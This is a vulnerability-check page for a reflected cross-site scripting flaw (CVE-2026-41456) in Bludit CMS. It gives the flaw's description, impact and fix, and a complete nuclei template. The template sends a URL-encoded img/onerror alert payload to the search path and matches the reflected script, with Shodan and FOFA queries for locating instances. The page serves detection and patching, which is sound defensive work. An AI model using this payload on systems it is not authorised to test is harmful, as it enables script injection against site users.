Bludit CMS <= 3.20.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query.

Impact

Attackers can execute malicious scripts in users' browsers, potentially stealing session cookies or performing actions on their behalf.

Fix

Update to the version including commit 6732dde or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(tolower(body), "powered by bludit", "content=\"bludit\"", "bl-kernel")
Send: GET /search/%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E.gif
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_any(tolower(body), "bludit") and contains(body, "onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2026-41456 -u <target>

The full check

id: CVE-2026-41456

info:
  name: Bludit CMS <= 3.20.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing session cookies or performing actions on their behalf.
  remediation: |
    Update to the version including commit 6732dde or later.
  reference:
    - https://github.com/bludit/bludit/commit/6732ddedda8b73ce0a017a1b6adf685100244e01
    - https://gist.github.com/thepiyushkumarshukla/36b213cdb3c7d603e23fd23605cd681e
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41456
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-41456
    epss-score: 0.03539
    epss-percentile: 0.89377
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: bludit
    product: bludit
    shodan-query: http.html:"Bludit"
    fofa-query: body="Powered by Bludit" || body="bludit.com"
  tags: cve,cve2026,bludit,xss,cms

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "powered by bludit", "content=\"bludit\"", "bl-kernel")'
        condition: and
        internal: true

  - raw:
      - |
        GET /search/%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E.gif HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_any(tolower(body), "bludit")'
          - 'contains(body, "onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from